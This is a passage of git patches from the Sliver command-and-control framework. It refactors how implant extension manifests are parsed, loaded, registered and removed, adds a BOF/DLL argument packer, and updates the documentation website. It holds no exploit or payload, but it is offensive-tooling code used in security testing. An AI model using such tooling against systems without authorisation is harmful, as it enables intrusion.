ExtensionManifest_ struct { Name string `json:"name"` CommandName string `json:"command_name"` Version string `json:"version"` @@ -74,8 +78,31 @@ type ExtensionManifest struct { RootPath string `json:"-"` } -type MultiManifest []*ExtensionManifest +type ExtensionManifest struct { + Name string `json:"name"` + Version string `json:"version"` + ExtensionAuthor string `json:"extension_author"` + OriginalAuthor string `json:"original_author"` + RepoURL string `json:"repo_url"` + + ExtCommand []*ExtCommand `json:"commands"` + + RootPath string `json:"-"` +} + +type ExtCommand struct { + CommandName string `json:"command_name"` + Help string `json:"help"` + LongHelp string `json:"long_help"` + Files []*extensionFile `json:"files"` + Arguments []*extensionArgument `json:"arguments"` + Entrypoint string `json:"entrypoint"` + DependsOn string `json:"depends_on"` + + Manifest *ExtensionManifest +} +// type MultiManifest []*ExtensionManifest type extensionFile struct { OS string `json:"os"` Arch string `json:"arch"` @@ -89,11 +116,11 @@ type extensionArgument struct { Optional bool `json:"optional"` } -func (e *ExtensionManifest) getFileForTarget(cmdName string, targetOS string, targetArch string) (string, error) { +func (e *ExtCommand) getFileForTarget(targetOS string, targetArch string) (string, error) { filePath := "" for _, extFile := range e.Files { if targetOS == extFile.OS && targetArch == extFile.Arch { - filePath = path.Join(assets.GetExtensionsDir(), e.CommandName, extFile.Path) + filePath = path.Join(assets.GetExtensionsDir(), e.Manifest.Name, extFile.Path) break } } @@ -118,7 +145,7 @@ func ExtensionLoadCmd(cmd *cobra.Command, con *console.SliverClient, args []stri } // do not add if the command already exists sliverMenu := con.App.Menu("implant") - for _, extCmd := range manyfest { + for _, extCmd := range manyfest.ExtCommand { if CmdExists(extCmd.CommandName, sliverMenu.Command) { con.PrintErrorf("%s command already exists\n", extCmd.CommandName) confirm := false @@ -134,86 +161,108 @@ func ExtensionLoadCmd(cmd *cobra.Command, con *console.SliverClient, args []stri } // LoadExtensionManifest - Parse extension files -func LoadExtensionManifest(manifestPath string) (MultiManifest, error) { +func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) { data, err := os.ReadFile(manifestPath) if err != nil { return nil, err } - manyfest, err := ParseMultiManifest(data) + manifest, err := ParseExtensionManifest(data) if err != nil { return nil, err } - for _, extManifest := range manyfest { - extManifest.RootPath = filepath.Dir(manifestPath) + manifest.RootPath = filepath.Dir(manifestPath) + for _, extManifest := range manifest.ExtCommand { loadedExtensions[extManifest.CommandName] = extManifest } - return manyfest, nil + loadedManifests[manifest.Name] = manifest + + return manifest, nil } -// ParseMultiManifest - Parse multiple extension manifests from buffer -func ParseMultiManifest(data []byte) (MultiManifest, error) { - var man MultiManifest - err := json.Unmarshal(data, &man) - if err != nil { - // maybe it's a single manifest - manifest, err := parseExtensionManifest(data) - if err != nil { - // it's not lol - return nil, err - } - man = MultiManifest{manifest} - } - for _, ext := range man { - err := validManifest(ext) - if err != nil { - return nil, err - } +func convertOldManifest(old *ExtensionManifest_) *ExtensionManifest { + ret := &ExtensionManifest{ + Name: old.CommandName, // treating old commandname as the manifest name to avoid weird chars mostly + Version: old.Version, + ExtensionAuthor: old.ExtensionAuthor, + OriginalAuthor: old.OriginalAuthor, + RepoURL: old.RepoURL, + RootPath: old.RootPath, + // only one command exists in the old manifest, so we can 'confidently' create it here + ExtCommand: []*ExtCommand{ + { + CommandName: old.CommandName, + DependsOn: old.DependsOn, + Help: old.Help, + LongHelp: old.LongHelp, + Entrypoint: old.Entrypoint, + Files: old.Files, + Arguments: old.Arguments, + }, + }, } - return man, nil + + // Manifest ref is done in the parser that calls this + + return ret } // parseExtensionManifest - Parse extension manifest from buffer (legacy, only parses one) -func parseExtensionManifest(data []byte) (*ExtensionManifest, error) { +func ParseExtensionManifest(data []byte) (*ExtensionManifest, error) { extManifest := &ExtensionManifest{} err := json.Unmarshal(data, &extManifest) - if err != nil { - return nil, err + if err != nil || len(extManifest.ExtCommand) == 0 { // extensions must have at least one command to be sensible + // maybe it's an old manifest + log.Println(err) + oldmanifest := &ExtensionManifest_{} + err := json.Unmarshal(data, &oldmanifest) + if err != nil { + // nope, just broken + return nil, err + } + // yes, ok, lets jigger it to a new manifest + extManifest = convertOldManifest(oldmanifest) + } + // pass ref to manifest to each command + for i := range extManifest.ExtCommand { + extManifest.ExtCommand[i].Manifest = extManifest } return extManifest, validManifest(extManifest) } -func validManifest(extManifest *ExtensionManifest) error { - if extManifest.Name == "" { +func validManifest(manifest *ExtensionManifest) error { + if manifest.Name == "" { return errors.New("missing `name` field in extension manifest") } - if extManifest.CommandName == "" { - return errors.New("missing `command_name` field in extension manifest") - } - if len(extManifest.Files) == 0 { - return errors.New("missing `files` field in extension manifest") - } - for _, extFiles := range extManifest.Files { - if extFiles.OS == "" { - return errors.New("missing `files.os` field in extension manifest") + for _, extManifest := range manifest.ExtCommand { + if extManifest.CommandName == "" { + return errors.New("missing `command_name` field in extension manifest") } - if extFiles.Arch == "" { - return errors.New("missing `files.arch` field in extension manifest") + if len(extManifest.Files) == 0 { + return errors.New("missing `files` field in extension manifest") } - extFiles.Path = util.ResolvePath(extFiles.Path) - if extFiles.Path == "" || extFiles.Path == "/" { - return errors.New("missing `files.path` field in extension manifest") + for _, extFiles := range extManifest.Files { + if extFiles.OS == "" { + return errors.New("missing `files.os` field in extension manifest") + } + if extFiles.Arch == "" { + return errors.New("missing `files.arch` field in extension manifest") + } + extFiles.Path = util.ResolvePath(extFiles.Path) + if extFiles.Path == "" || extFiles.Path == "/" { + return errors.New("missing `files.path` field in extension manifest") + } + extFiles.OS = strings.ToLower(extFiles.OS) + extFiles.Arch = strings.ToLower(extFiles.Arch) + } + if extManifest.Help == "" { + return errors.New("missing `help` field in extension manifest") } - extFiles.OS = strings.ToLower(extFiles.OS) - extFiles.Arch = strings.ToLower(extFiles.Arch) - } - if extManifest.Help == "" { - return errors.New("missing `help` field in extension manifest") } return nil } -// ExtensionRegisterCommand - Register a new extension command. -func ExtensionRegisterCommand(extCmd *ExtensionManifest, cmd *cobra.Command, con *console.SliverClient) { +// ExtensionRegisterCommand - Register a new extension command +func ExtensionRegisterCommand(extCmd *ExtCommand, cmd *cobra.Command, con *console.SliverClient) { if errInvalidArgs := checkExtensionArgs(extCmd); errInvalidArgs != nil { con.PrintErrorf(errInvalidArgs.Error()) return @@ -235,7 +284,7 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, cmd *cobra.Command, con } // Flags - f := pflag.NewFlagSet(extCmd.Name, pflag.ContinueOnError) + f := pflag.NewFlagSet(extCmd.CommandName, pflag.ContinueOnError) f.BoolP("save", "s", false, "Save output to disk") f.IntP("timeout", "t", defaultTimeout, "command timeout in seconds") extensionCmd.Flags().AddFlagSet(f) @@ -248,9 +297,9 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, cmd *cobra.Command, con cmd.AddCommand(extensionCmd) } -func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionManifest, cmd *cobra.Command, con *console.SliverClient) error { +func loadExtension(goos string, goarch string, checkCache bool, ext *ExtCommand, cmd *cobra.Command, con *console.SliverClient) error { var extensionList []string - binPath, err := ext.getFileForTarget(cmd.Name(), goos, goarch) + binPath, err := ext.getFileForTarget(goos, goarch) if err != nil { return err } @@ -271,10 +320,12 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionMa } depLoaded := false for _, extName := range extensionList { - if !depLoaded && extName == ext.DependsOn { - depLoaded = true + if !depLoaded { + if extN, ok := loadedExtensions[cmd.Name()]; ok && extName == extN.DependsOn { + depLoaded = true + } } - if ext.CommandName == extName { + if extN, ok := loadedExtensions[cmd.Name()]; ok && extN.CommandName == extName { return nil } } @@ -299,12 +350,12 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionMa return nil } -func registerExtension(goos string, ext *ExtensionManifest, binData []byte, cmd *cobra.Command, con *console.SliverClient) error { +func registerExtension(goos string, ext *ExtCommand, binData []byte, cmd *cobra.Command, con *console.SliverClient) error { registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{ - Name: ext.CommandName, - Data: binData, - OS: goos, - Init: ext.Init, + Name: ext.CommandName, + Data: binData, + OS: goos, + // Init: ext.Init, ? Request: con.ActiveTarget.Request(cmd), }) if err != nil { @@ -319,7 +370,7 @@ func registerExtension(goos string, ext *ExtensionManifest, binData []byte, cmd func loadDep(goos string, goarch string, depName string, cmd *cobra.Command, con *console.SliverClient) error { depExt, ok := loadedExtensions[depName] if ok { - depBinPath, err := depExt.getFileForTarget(depExt.CommandName, goos, goarch) + depBinPath, err := depExt.getFileForTarget(goos, goarch) if err != nil { return err } @@ -365,7 +416,7 @@ func runExtensionCmd(cmd *cobra.Command, con *console.SliverClient, args []strin return } - binPath, err := ext.getFileForTarget(cmd.Name(), goos, goarch) + binPath, err := ext.getFileForTarget(goos, goarch) if err != nil { con.PrintErrorf("Failed to read extension file: %s\n", err) return @@ -441,7 +492,7 @@ func PrintExtOutput(extName string, commandName string, callExtension *sliverpb. } } -func getBOFArgs(cmd *cobra.Command, args []string, binPath string, ext *ExtensionManifest) ([]byte, error) { +func getBOFArgs(cmd *cobra.Command, args []string, binPath string, ext *ExtCommand) ([]byte, error) { var extensionArgs []byte binData, err := os.ReadFile(binPath) if err != nil { @@ -557,7 +608,7 @@ func CmdExists(name string, cmd *cobra.Command) bool { } // makeExtensionArgParser builds the valid positional arguments cobra handler for the extension. -func checkExtensionArgs(extCmd *ExtensionManifest) error { +func checkExtensionArgs(extCmd *ExtCommand) error { if 0 < len(extCmd.Arguments) { for _, arg := range extCmd.Arguments { switch arg.Type { @@ -573,7 +624,7 @@ func checkExtensionArgs(extCmd *ExtensionManifest) error { } // makeExtensionArgCompleter builds the positional arguments completer for the extension. -func makeExtensionArgCompleter(extCmd *ExtensionManifest, _ *cobra.Command, comps *carapace.Carapace) { +func makeExtensionArgCompleter(extCmd *ExtCommand, _ *cobra.Command, comps *carapace.Carapace) { var actions []carapace.Action for _, arg := range extCmd.Arguments { @@ -595,7 +646,7 @@ func makeExtensionArgCompleter(extCmd *ExtensionManifest, _ *cobra.Command, comp comps.PositionalCompletion(actions...) } -func makeCommandPlatformFilters(extCmd *ExtensionManifest) map[string]string { +func makeCommandPlatformFilters(extCmd *ExtCommand) map[string]string { filtersOS := make(map[string]bool) filtersArch := make(map[string]bool) diff --git a/client/command/extensions/remove.go b/client/command/extensions/remove.go index 14f895fe42..a9d5c69b80 100644 --- a/client/command/extensions/remove.go +++ b/client/command/extensions/remove.go @@ -45,12 +45,22 @@ func ExtensionsRemoveCmd(cmd *cobra.Command, con *console.SliverClient, args []s if !confirm { return } - err := RemoveExtensionByCommandName(name, con) + found, err := RemoveExtensionByManifestName(name, con) if err != nil { - con.PrintErrorf("Error removing extension: %s\n", err) + con.PrintErrorf("Error removing extensions: %s\n", err) return + } + if !found { + err = RemoveExtensionByCommandName(name, con) + if err != nil { + con.PrintErrorf("Error removing extension: %s\n", err) + return + } else { + con.PrintInfof("Extension '%s' removed\n", name) + } } else { - con.PrintInfof("Extension '%s' removed\n", name) + // found, and no error, manifest must have removed good + con.PrintInfof("Extensions from %s removed\n", name) } } @@ -71,6 +81,28 @@ func RemoveExtensionByCommandName(commandName string, con *console.SliverClient) return nil } +// RemoveExtensionByManifestName - remove by the named manifest, returns true if manifest was removed, false if no manifest with that name was found +func RemoveExtensionByManifestName(manifestName string, con *console.SliverClient) (bool, error) { + if manifestName == "" { + return false, errors.New("command name is required") + } + if man, ok := loadedManifests[manifestName]; ok { + // foudn the manifest + // delet it + extPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifestName)) + if _, err := os.Stat(extPath); os.IsNotExist(err) { + return true, nil + } + forceRemoveAll(extPath) + delete(loadedManifests, manifestName) + for _, cmd := range man.ExtCommand { + delete(loadedExtensions, cmd.CommandName) + } + return true, nil + } + return false, nil +} + func forceRemoveAll(rootPath string) { util.ChmodR(rootPath, 0o600, 0o700) os.RemoveAll(rootPath) diff --git a/client/command/sliver.go b/client/command/sliver.go index 586bf04ba7..f3f8437ae0 100644 --- a/client/command/sliver.go +++ b/client/command/sliver.go @@ -155,7 +155,7 @@ func SliverCommands(con *client.SliverClient) console.Commands { con.PrintErrorf("Failed to load extension: %s", err) continue } - for _, ext := range mext { + for _, ext := range mext.ExtCommand { extensions.ExtensionRegisterCommand(ext, sliver, con) } } From 181826d0bf8eaf643d4e5dd049f6320c2b8568fa Mon Sep 17 00:00:00 2001 From: maxlandon Date: Mon, 25 Dec 2023 15:39:10 +0100 Subject: [PATCH 119/124] Update extension commands per C-Sto code --- client/command/extensions/commands.go | 58 ++++++++++++--------------- 1 file changed, 26 insertions(+), 32 deletions(-) diff --git a/client/command/extensions/commands.go b/client/command/extensions/commands.go index 62df2bf6cc..c4c4247e1c 100644 --- a/client/command/extensions/commands.go +++ b/client/command/extensions/commands.go @@ -11,59 +11,53 @@ import ( // Commands returns the “ command and its subcommands. func Commands(con *console.SliverClient) []*cobra.Command { - extensionCmd := &cobra.Command{ - Use: consts.ExtensionsStr, - Short: "Manage extensions", - Long: help.GetHelpFor([]string{consts.ExtensionsStr}), - GroupID: consts.ExecutionHelpGroup, - Run: func(cmd *cobra.Command, _ []string) { + extCmd := &cobra.Command{ + Use: consts.ExtensionsStr, + Short: "List current exts", + Long: help.GetHelpFor([]string{consts.ExtensionsStr}), + Run: func(cmd *cobra.Command, args []string) { ExtensionsCmd(cmd, con) }, + GroupID: consts.GenericHelpGroup, } - extensionCmd.AddCommand(&cobra.Command{ - Use: consts.ListStr, - Short: "List extensions loaded in the current session or beacon", - Long: help.GetHelpFor([]string{consts.ExtensionsStr, consts.ListStr}), - Run: func(cmd *cobra.Command, args []string) { - ExtensionsListCmd(cmd, con, args) - }, - }) - - extensionLoadCmd := &cobra.Command{ - Use: consts.LoadStr, - Short: "Temporarily load an extension from a local directory", + extLoadCmd := &cobra.Command{ + Use: consts.LoadStr + " [EXT]", + Short: "Load a command EXT", Long: help.GetHelpFor([]string{consts.ExtensionsStr, consts.LoadStr}), + Args: cobra.ExactArgs(1), Run: func(cmd *cobra.Command, args []string) { ExtensionLoadCmd(cmd, con, args) }, } - extensionCmd.AddCommand(extensionLoadCmd) - carapace.Gen(extensionLoadCmd).PositionalCompletion(carapace.ActionDirectories().Usage("path to the extension directory")) + carapace.Gen(extLoadCmd).PositionalCompletion( + carapace.ActionDirectories().Tag("ext directory").Usage("path to the ext directory")) + extCmd.AddCommand(extLoadCmd) - extensionInstallCmd := &cobra.Command{ - Use: consts.InstallStr, - Short: "Install an extension from a local directory or .tar.gz file", + extInstallCmd := &cobra.Command{ + Use: consts.InstallStr + " [EXT]", + Short: "Install a command ext", Long: help.GetHelpFor([]string{consts.ExtensionsStr, consts.InstallStr}), Args: cobra.ExactArgs(1), Run: func(cmd *cobra.Command, args []string) { ExtensionsInstallCmd(cmd, con, args) }, } - extensionCmd.AddCommand(extensionInstallCmd) - carapace.Gen(extensionInstallCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to the extension .tar.gz or directory")) + carapace.Gen(extInstallCmd).PositionalCompletion(carapace.ActionFiles().Tag("ext file").Usage("path to the extension .tar.gz or directory")) + extCmd.AddCommand(extInstallCmd) - extensionRmCmd := &cobra.Command{ - Use: consts.RmStr, - Short: "Remove an installed extension", + extendo := &cobra.Command{ + Use: consts.RmStr + " [EXT]", + Short: "Remove an ext", + Long: help.GetHelpFor([]string{consts.RmStr}), Args: cobra.ExactArgs(1), - Long: help.GetHelpFor([]string{consts.ExtensionsStr, consts.RmStr}), Run: func(cmd *cobra.Command, args []string) { + // alias.AliasesRemoveCmd(cmd, con, args) ExtensionsRemoveCmd(cmd, con, args) }, } - extensionCmd.AddCommand(extensionRmCmd) - carapace.Gen(extensionRmCmd).PositionalCompletion(ExtensionsCommandNameCompleter(con).Usage("the command name of the extension to remove")) + carapace.Gen(extendo).PositionalCompletion(ExtensionsCommandNameCompleter(con).Usage("the command name of the extension to remove")) + extCmd.AddCommand(extendo) - return []*cobra.Command{extensionCmd} + return []*cobra.Command{extCmd} } From f512db92d2ad4573a56bafce44cca6a5a45e035d Mon Sep 17 00:00:00 2001 From: maxlandon Date: Mon, 25 Dec 2023 15:40:29 +0100 Subject: [PATCH 120/124] Menu better --- client/command/armory/install.go | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/client/command/armory/install.go b/client/command/armory/install.go index eef8cc056f..c2a8957aaa 100644 --- a/client/command/armory/install.go +++ b/client/command/armory/install.go @@ -192,9 +192,9 @@ func installExtension(extm *extensions.ExtensionManifest, clientConfig ArmoryHTT deps := make(map[string]struct{}) for _, ext := range extm.ExtCommand { resolveExtensionPackageDependencies(ext.CommandName, deps, clientConfig, con) - sliverMenu := con.App.Menu(constants.ImplantMenu) + sliverMenu := con.App.Menu(constants.ImplantMenu).Root() for dep := range deps { - if extensions.CmdExists(dep, sliverMenu.Command) { + if extensions.CmdExists(dep, sliverMenu) { continue // Dependency is already installed } err := installExtensionPackageByName(dep, clientConfig, con) From 9168b118f9b5ab3f9e6010658fc139c97ebeb215 Mon Sep 17 00:00:00 2001 From: C-Sto <7466346+C-Sto@users.noreply.github.com> Date: Sun, 8 Oct 2023 07:16:34 +0800 Subject: [PATCH 121/124] use bof arg packer for extensions --- client/command/extensions/load.go | 36 ++++++++++++++++++++++++------- 1 file changed, 28 insertions(+), 8 deletions(-) diff --git a/client/command/extensions/load.go b/client/command/extensions/load.go index 1c53ff9ebb..94da844dec 100644 --- a/client/command/extensions/load.go +++ b/client/command/extensions/load.go @@ -440,8 +440,17 @@ func runExtensionCmd(cmd *cobra.Command, con *console.SliverClient, args []strin entryPoint = loadedExtensions[extName].Entrypoint // should exist at this point } else { // Regular DLL - extArgs := strings.Join(args, " ") - extensionArgs = []byte(extArgs) + // extArgs := strings.Join(args, " ") + //legacy case - single string arg + if len(ext.Arguments) == 1 && ext.Arguments[0].Type == "string" { + extensionArgs = []byte(strings.Join(args, " ")) + } else { + extensionArgs, err = getExtArgs(cmd, args, binPath, ext) + if err != nil { + con.PrintErrorf("ext args error: %s\n", err) + return + } + } extName = ext.CommandName entryPoint = ext.Entrypoint } @@ -492,12 +501,8 @@ func PrintExtOutput(extName string, commandName string, callExtension *sliverpb. } } -func getBOFArgs(cmd *cobra.Command, args []string, binPath string, ext *ExtCommand) ([]byte, error) { - var extensionArgs []byte - binData, err := os.ReadFile(binPath) - if err != nil { - return nil, err - } +func getExtArgs(cmd *cobra.Command, args []string, binPath string, ext *ExtCommand) ([]byte, error) { + var err error argsBuffer := core.BOFArgsBuffer{ Buffer: new(bytes.Buffer), } @@ -574,6 +579,17 @@ func getBOFArgs(cmd *cobra.Command, args []string, binPath string, ext *ExtComma if err != nil { return nil, err } + + return parsedArgs, nil +} + +func getBOFArgs(cmd *cobra.Command, args []string, binPath string, ext *ExtCommand) ([]byte, error) { + var extensionArgs []byte + binData, err := os.ReadFile(binPath) + if err != nil { + return nil, err + } + // Now build the extension's argument buffer extensionArgsBuffer := core.BOFArgsBuffer{ Buffer: new(bytes.Buffer), @@ -586,6 +602,10 @@ func getBOFArgs(cmd *cobra.Command, args []string, binPath string, ext *ExtComma if err != nil { return nil, err } + parsedArgs, err := getExtArgs(cmd, args, binPath, ext) + if err != nil { + return nil, err + } err = extensionArgsBuffer.AddData(parsedArgs) if err != nil { return nil, err From 742eacf7c2cc3ba09939afd575feb70facd362e2 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Mon, 25 Dec 2023 15:48:42 +0100 Subject: [PATCH 122/124] Update docs latest --- docs/sliver-docs/.gitignore | 1 + docs/sliver-docs/README.md | 30 + .../components/TutorialCard.module.css | 3 + docs/sliver-docs/components/markdown.tsx | 188 ++++ docs/sliver-docs/components/navbar.tsx | 44 +- docs/sliver-docs/components/tutorial-card.tsx | 75 ++ docs/sliver-docs/next.config.js | 3 + docs/sliver-docs/package-lock.json | 7 + docs/sliver-docs/package.json | 4 +- docs/sliver-docs/pages/_app.tsx | 60 +- docs/sliver-docs/pages/_document.tsx | 3 +- docs/sliver-docs/pages/docs/index.tsx | 215 ++--- .../pages/docs/md/Aliases and Extensions.md | 4 +- .../pages/docs/md/Anti-virus Evasion.md | 2 +- .../sliver-docs/pages/docs/md/Architecture.md | 4 - docs/sliver-docs/pages/docs/md/Armory.md | 2 +- docs/sliver-docs/pages/docs/md/Audit Log.md | 2 +- .../pages/docs/md/BOF and COFF Support.md | 6 +- .../pages/docs/md/Configuration Files.md | 8 +- .../pages/docs/md/Cross-compiling Implants.md | 18 +- docs/sliver-docs/pages/docs/md/Cursed.md | 2 +- docs/sliver-docs/pages/docs/md/DNS C2.md | 4 +- docs/sliver-docs/pages/docs/md/Daemon Mode.md | 4 +- .../pages/docs/md/External Builders.md | 4 +- .../pages/docs/md/Getting Started.md | 63 +- docs/sliver-docs/pages/docs/md/HTTPS C2.md | 8 +- .../pages/docs/md/Multi-player Mode.md | 2 +- docs/sliver-docs/pages/docs/md/Pivots.md | 2 +- docs/sliver-docs/pages/docs/md/Stagers.md | 4 +- .../pages/docs/md/Third Party Tools.md | 10 +- .../pages/docs/md/Troubleshooting.md | 4 +- docs/sliver-docs/pages/index.tsx | 69 +- docs/sliver-docs/pages/search/index.tsx | 71 ++ .../public/asciinema/install-1.cast | 185 ++++ docs/sliver-docs/public/asciinema/intro.cast | 2 +- .../public/asciinema/service-status-1.cast | 36 + .../public/asciinema/sliver-generate-1.cast | 905 ++++++++++++++++++ .../public/asciinema/sliver-generate-2.cast | 890 +++++++++++++++++ docs/sliver-docs/public/images/cursed-1.png | Bin 0 -> 1699751 bytes docs/sliver-docs/public/images/dns-c2-1.png | Bin 0 -> 69789 bytes docs/sliver-docs/public/install | 6 +- docs/sliver-docs/util/docs.ts | 8 + docs/sliver-docs/util/search-context.ts | 40 + 43 files changed, 2760 insertions(+), 238 deletions(-) create mode 100644 docs/sliver-docs/components/TutorialCard.module.css create mode 100644 docs/sliver-docs/components/markdown.tsx create mode 100644 docs/sliver-docs/components/tutorial-card.tsx create mode 100644 docs/sliver-docs/pages/search/index.tsx create mode 100644 docs/sliver-docs/public/asciinema/install-1.cast create mode 100644 docs/sliver-docs/public/asciinema/service-status-1.cast create mode 100644 docs/sliver-docs/public/asciinema/sliver-generate-1.cast create mode 100644 docs/sliver-docs/public/asciinema/sliver-generate-2.cast create mode 100644 docs/sliver-docs/public/images/cursed-1.png create mode 100644 docs/sliver-docs/public/images/dns-c2-1.png create mode 100644 docs/sliver-docs/util/docs.ts create mode 100644 docs/sliver-docs/util/search-context.ts diff --git a/docs/sliver-docs/.gitignore b/docs/sliver-docs/.gitignore index 2724b98488..835056f003 100644 --- a/docs/sliver-docs/.gitignore +++ b/docs/sliver-docs/.gitignore @@ -3,6 +3,7 @@ # generated files public/sitemap.json public/docs.json +/www.zip # code editor files .vscode/ diff --git a/docs/sliver-docs/README.md b/docs/sliver-docs/README.md index 767b622525..44de170c04 100644 --- a/docs/sliver-docs/README.md +++ b/docs/sliver-docs/README.md @@ -1,3 +1,33 @@ # Sliver Docs The source code for the Sliver documentation site. + +### Developers + +To run the documentation site locally first install the dependencies and then run the `dev` npm script: + +```bash +npm install +npm run dev +``` + +**NOTE:** The markdown is compiled into a static JSON object at build time. This means if you edit a `.md` file you will need to restart the dev server to see your changes. + +### Offline Docs + +To run your own copy of the documentation first install the dependencies and then run the `offline` npm script: + +```bash +npm install +npm run offline +``` + +This will produce a `www.zip` file that contains the static html and JavaScript for the documentation site. You can extract this archive and host it anywhere: + +```bash +unzip -o www.zip +cd out/ +python -m http.server 8000 +``` + +Then open your browser to `http://localhost:8000/` to view the documentation. diff --git a/docs/sliver-docs/components/TutorialCard.module.css b/docs/sliver-docs/components/TutorialCard.module.css new file mode 100644 index 0000000000..f85453cbae --- /dev/null +++ b/docs/sliver-docs/components/TutorialCard.module.css @@ -0,0 +1,3 @@ +.hide-control-bar :global(.ap-control-bar){ + display: none !important; +} \ No newline at end of file diff --git a/docs/sliver-docs/components/markdown.tsx b/docs/sliver-docs/components/markdown.tsx new file mode 100644 index 0000000000..e4f34be8c2 --- /dev/null +++ b/docs/sliver-docs/components/markdown.tsx @@ -0,0 +1,188 @@ +import CodeViewer, { CodeSchema } from "@/components/code"; +import { Themes } from "@/util/themes"; +import { useTheme } from "next-themes"; +import Image from "next/image"; +import Link from "next/link"; +import { useRouter } from "next/router"; +import Markdown from "react-markdown"; +import remarkGfm from "remark-gfm"; +import AsciinemaPlayer from "./asciinema"; + +export type MarkdownProps = { + key?: string; + markdown: string; +}; + +type MarkdownAsciiCast = { + src?: string; + rows?: string; + cols?: string; + idleTimeLimit?: number; +}; + +const MarkdownViewer = (props: MarkdownProps) => { + const { theme } = useTheme(); + const router = useRouter(); + + return ( +

    + ); +}; + +export default MarkdownViewer; diff --git a/docs/sliver-docs/components/navbar.tsx b/docs/sliver-docs/components/navbar.tsx index ba2f937469..0bc3bd1b71 100644 --- a/docs/sliver-docs/components/navbar.tsx +++ b/docs/sliver-docs/components/navbar.tsx @@ -1,14 +1,25 @@ +"use client"; + import { SliversIcon } from "@/components/icons/slivers"; +import { useSearchContext } from "@/util/search-context"; import { Themes } from "@/util/themes"; -import { faHome, faMoon, faSun } from "@fortawesome/free-solid-svg-icons"; +import { faGithub } from "@fortawesome/free-brands-svg-icons"; +import { + faHome, + faMoon, + faSearch, + faSun, +} from "@fortawesome/free-solid-svg-icons"; import { FontAwesomeIcon } from "@fortawesome/react-fontawesome"; import { Button, + Input, Link, Navbar, NavbarBrand, NavbarContent, NavbarItem, + Tooltip, } from "@nextui-org/react"; import { useTheme } from "next-themes"; import { useRouter } from "next/router"; @@ -18,12 +29,15 @@ export type TopNavbarProps = {}; export default function TopNavbar(props: TopNavbarProps) { const router = useRouter(); + const search = useSearchContext(); const { theme, setTheme } = useTheme(); const lightDarkModeIcon = React.useMemo( () => (theme === Themes.DARK ? faSun : faMoon), [theme] ); + const [query, setQuery] = React.useState(""); + return ( + 0}> + setQuery(e.target.value)} + onClear={() => setQuery("")} + startContent={} + onKeyDown={(e) => { + if (e.key === "Enter") { + router.push({ pathname: `/search/`, query: { search: query } }); + setQuery(""); + } + }} + /> + + + + ); diff --git a/docs/sliver-docs/components/tutorial-card.tsx b/docs/sliver-docs/components/tutorial-card.tsx new file mode 100644 index 0000000000..7e468e2027 --- /dev/null +++ b/docs/sliver-docs/components/tutorial-card.tsx @@ -0,0 +1,75 @@ +import { Button, Card, CardFooter, CardHeader } from "@nextui-org/react"; +import AsciinemaPlayer from "./asciinema"; + +import { faChevronRight } from "@fortawesome/free-solid-svg-icons"; +import { FontAwesomeIcon } from "@fortawesome/react-fontawesome"; +import styles from "./TutorialCard.module.css"; + +export type TutorialCardCardProps = { + name: string; + description: string; + + asciiCast: string; + rows?: string; + cols?: string; + idleTimeLimit?: number; + + italicDescription?: boolean; + onPress?: () => void; + showButton?: boolean; + buttonText?: string; +}; + +export default function TutorialCard(props: TutorialCardCardProps) { + return ( + + +

    + {props.name} +

    +
    + +
    + +
    + + +
    +

    + {props.description} +

    + + {props.showButton ? ( +
    + +
    + ) : ( + <> + )} +
    +
    +
    + ); +} diff --git a/docs/sliver-docs/next.config.js b/docs/sliver-docs/next.config.js index 8bc7716f20..69392a38d4 100644 --- a/docs/sliver-docs/next.config.js +++ b/docs/sliver-docs/next.config.js @@ -5,6 +5,9 @@ const nextConfig = { images: { unoptimized: true, }, + experimental: { + scrollRestoration: true, + }, webpack: (config, { isServer }) => { if (isServer) { require('./prebuild/generate-docs'); diff --git a/docs/sliver-docs/package-lock.json b/docs/sliver-docs/package-lock.json index c3ee152b7e..28a99a5b7f 100644 --- a/docs/sliver-docs/package-lock.json +++ b/docs/sliver-docs/package-lock.json @@ -28,6 +28,7 @@ }, "devDependencies": { "@tailwindcss/typography": "^0.5.10", + "@types/lunr": "^2.3.7", "@types/node": "^20", "@types/react": "^18", "@types/react-dom": "^18", @@ -2909,6 +2910,12 @@ "integrity": "sha512-dRLjCWHYg4oaA77cxO64oO+7JwCwnIzkZPdrrC71jQmQtlhM556pwKo5bUzqvZndkVbeFLIIi+9TC40JNF5hNQ==", "dev": true }, + "node_modules/@types/lunr": { + "version": "2.3.7", + "resolved": "https://registry.npmjs.org/@types/lunr/-/lunr-2.3.7.tgz", + "integrity": "sha512-Tb/kUm38e8gmjahQzdCKhbdsvQ9/ppzHFfsJ0dMs3ckqQsRj+P5IkSAwFTBrBxdyr3E/LoMUUrZngjDYAjiE3A==", + "dev": true + }, "node_modules/@types/mdast": { "version": "4.0.3", "resolved": "https://registry.npmjs.org/@types/mdast/-/mdast-4.0.3.tgz", diff --git a/docs/sliver-docs/package.json b/docs/sliver-docs/package.json index 3c4f17d46e..7a2057f699 100644 --- a/docs/sliver-docs/package.json +++ b/docs/sliver-docs/package.json @@ -6,7 +6,8 @@ "dev": "next dev", "build": "next build", "start": "next start", - "lint": "next lint" + "lint": "next lint", + "offline": "next build && zip -r www.zip ./out" }, "dependencies": { "@fontsource/fira-code": "^5.0.16", @@ -29,6 +30,7 @@ }, "devDependencies": { "@tailwindcss/typography": "^0.5.10", + "@types/lunr": "^2.3.7", "@types/node": "^20", "@types/react": "^18", "@types/react-dom": "^18", diff --git a/docs/sliver-docs/pages/_app.tsx b/docs/sliver-docs/pages/_app.tsx index f0eccb860f..aeaab226ff 100644 --- a/docs/sliver-docs/pages/_app.tsx +++ b/docs/sliver-docs/pages/_app.tsx @@ -1,6 +1,10 @@ import Navbar from "@/components/navbar"; import "@/styles/globals.css"; +import { Docs } from "@/util/docs"; +import { SearchContext, SearchCtx } from "@/util/search-context"; import { Themes } from "@/util/themes"; +import { faExternalLink } from "@fortawesome/free-solid-svg-icons"; +import { FontAwesomeIcon } from 